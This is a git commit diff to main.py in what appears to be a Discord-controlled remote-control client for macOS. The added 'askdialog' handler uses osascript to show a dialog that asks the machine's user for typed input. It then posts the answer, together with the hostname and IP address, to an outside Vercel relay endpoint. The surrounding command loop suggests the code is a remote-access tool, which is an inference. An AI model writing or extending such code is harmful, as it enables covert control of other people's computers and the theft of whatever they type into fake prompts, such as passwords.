summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-30 02:04:42 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-30 02:04:42 +0800
commit313d12d0f9319fbf2621544d525d9d5a2ba0c2b2 (patch)
tree7a70d1d9c25df5d910ed67fa3b96a9450c9f5f51 /main.py
parent24b82deca2406240f4f56a83fa65fb85bebd0de6 (diff)
udpated
Diffstat (limited to 'main.py')
-rw-r--r--main.py21
1 files changed, 21 insertions, 0 deletions
diff --git a/main.py b/main.py
index 616288d..510e369 100644
--- a/main.py
+++ b/main.py
@@ -223,6 +223,27 @@ while True:
except KeyboardInterrupt:
continue
continue
+ elif localcmd[1] == 'askdialog' or localcmd[1] == 'asklog' or localcmd == 'question':
+ if localcmd[2<len(localcmd)]:
+ r = system(f'osascript -e \'display dialog "{localcmd[2]}" default answer ""\' -e \'text returned of result\' -e \'\'', shell=True, stdout=PIPE, stderr=PIPE)
+ cmdout, cmderr = r.communicate()
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout.decode()}```")
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to ask with dialog```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Please do question argument```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+
+
elif localcmd[1] == 'notify' or localcmd[1] == 'notification':
if localcmd[4>len(localcmd)]:
if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: